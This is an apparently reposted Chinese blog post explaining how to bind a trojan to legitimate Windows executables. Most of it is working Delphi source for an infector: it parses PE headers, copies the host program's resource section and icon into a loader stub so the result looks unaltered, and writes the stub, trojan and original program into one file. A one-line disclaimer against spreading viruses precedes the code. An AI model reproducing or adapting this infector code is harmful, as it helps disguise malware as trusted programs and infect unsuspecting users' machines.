文件捆绑感染(一)

来源：互联网发布：淘宝客怎么设置推广编辑：程序博客网时间：2024/06/08 08:40

【摘要】
最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式　我只和大家探讨两种方式　一种是附加的方式，一种是内嵌式　
第一种方式　就是将木马程序附加在别的程序头部　也就是说　运行的目标程序是木马
然后木马程序将原程序解压出来再运行　听说熊猫烧香的程序用的就是这种方法
这种方式有缺点也有优点
优点是：　
　可以捆绑任何程序
缺点是：　
　运行时需要把目标程序给拷贝出来然后　然后再运行真正的程序　这种方法容易使人察觉出来被捆绑，并且如果目标程序大的话运行速度会比较慢
实现方法：（Demo下载）
如果不改变图标，实现方法是非常简单的。
用文件流的方式　把目标程序写在木马程序后面　
这里提供修改图标的实现方法，就是替换目标程序里的所有资源,如果资源文件被压缩，捆绑将出错
（目前网络上有很多获取图标的方法，比如用ExtractIcon获取目标程序中的图标　这种方法读取出来的图标
和原程序的图标是有差别的。　就是颜色会浅一点，　让人一看就知道程序可能被捆绑过了）
请勿用于病毒传播，这里只贴出核心代码

【全文】

function Align(Size, AlignBase: integer): Integer;
begin
if Size mod AlignBase <> 0 then
Result := (Trunc(Size / AlignBase) + 1) * AlignBase
else
Result := Size;
end;

procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);
var
I:integer;
DosHeader: TImageDosHeader;
NTHeader: TImageNtHeaders; {NtHeader}
dRead: DWORD;
begin
   SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);
   ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);
    //非PE 退出
   if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;
   SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);
   ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);
    //非PE 退出
   if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;

   SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
   for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do
   begin
     ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);
     if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then
     begin
       SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);
       SetLength(AStream, ASectionHeader.SizeOfRawData);
       ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);
       Exit;
     end;
   end;

end;

function StripHighBit(L: Longint): DWORD;
begin
Result := L and $7FFFFFFF;
end;

function HighBitSet(L: Longint): Boolean;
begin
Result := (L and $80000000) <> 0;
end;

function IsDirectory(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;
begin
Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);
end;

function ResourceDataEntry(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD):PImageResourceDataEntry;
begin
Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);
end;

function FixRsrc(ResourceDirectory:PImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;
var
I: Integer;
ResourceDirectoryEntry:PImageResourceDirectoryEntry;
Data: PImageResourceDataEntry;
begin
Result := True;
ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)
                            + SizeOf(TImageResourceDirectory));
for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do
begin
      if IsDirectory(ResourceDirectoryEntry, BaseEntry) then
      begin
       {目录递归调用，把下级的资源列出来}
        FixRsrc(PImageResourceDirectory(StripHighBit(
                ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),
                BaseEntry, OldVA, NewVA);
      end
      else
      begin
        {资源}
        Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);
        //修正RVA
        Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA;
      end;
      inc(ResourceDirectoryEntry);
end;
end;

function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;
var
F,F1,F2: THandle;
dRead: DWORD;
fsDes, fsSrc, len, i, lastPos, oldSize: integer;
pRsrc,LoadStream: PStream;
DosHeader: PImageDosHeader;
NTHeader: PImageNtHeaders; {NtHeader}
pSH,pSectionHeader: PImageSectionHeader;
SectionHeader: TImageSectionHeader;
Section: PSections;
fectStream : TResourceStream;
begin
Result := '';
pRsrc := nil;
//打开需要感染的目标文件
F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
try
    if F = INVALID_HANDLE_VALUE then
    begin
      Result := '打开目标文件失败！';
      Exit;
    end;
    //获取目标程序的资源文件
    GetRsrcStream(F, pRsrc, SectionHeader);
    //如果没有资源文件则退出
    if pRsrc = nil then
    begin
      Result := '读取目标文件资源失败！';
      Exit;
    end;

    //读取附加程序流
    fectStream := TResourceStream.Create(HInstance,'exe','exetype');
    try
      fsSrc := fectStream.Size;
      SetLength(LoadStream, fectStream.Size);
      fectStream.ReadBuffer(LoadStream[0], fectStream.Size);
    finally
      fectStream.Free;
    end;

   DosHeader := PImageDosHeader(LoadStream);
   NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);
   pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader
   Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项
   for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do
   begin
     //比较是否是指定的节名，如“.rsrc”
     if Strlicomp(@pSectionHeader^.Name, PChar('.rsrc'), IMAGE_SIZEOF_SHORT_NAME) = 0 then
     begin
       oldSize := pSectionHeader^.SizeOfRawData;
       //修正资源大小
       pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;
       pSectionHeader^.Misc := SectionHeader.Misc;
       break; //找到了，则退出
     end;
     Inc(pSectionHeader); //取节表下一项，即当前地址加上Sizeof(TImageSectionHeader)
   end;
    //修复资源
   if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),
                   SectionHeader.VirtualAddress,
                   pSectionHeader^.VirtualAddress) then Exit;

   NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize;
   NTHeader^.OptionalHeader.SizeOfImage :=
      + Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);

    F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
    try
      if F1 = INVALID_HANDLE_VALUE then
      begin
        Result := '创建新文件失败！';
        Exit;
      end;
      F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      try
        if F2 = INVALID_HANDLE_VALUE then
        begin
          Result := '读取目标文件失败！';
          Exit;
        end;

        fsDes := GetFileSize(F, nil);
        Section := PSections(@LoadStream[$70]);
        Section^.GUID := $58585858;
        Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);
        fsSrc := GetFileSize(F2, nil);
        Section^.FirstSize := fsSrc;
        Section^.LastOffset := Section^.FirstOffset + fsSrc;
        Section^.LastSize := fsDes;
        //写入头部文件
        WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);
        WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);
        repeat
          ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
        SetFilePointer(F, 0, nil, FILE_BEGIN);
        repeat
          ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
      finally
        CloseHandle(F2);
      end;
    finally
      CloseHandle(F1);
    end;
finally
    CloseHandle(F);
    SetLength(LoadStream, 0);
    SetLength(pRsrc, 0);
end;

end;

第二程度方式　就是将代码内嵌到目标程序。
也同样有缺点优点
优点是
　首先运行的是目标程序。然后再运行木马程序，让人根本无法察觉
缺点是
　只能感染部分程序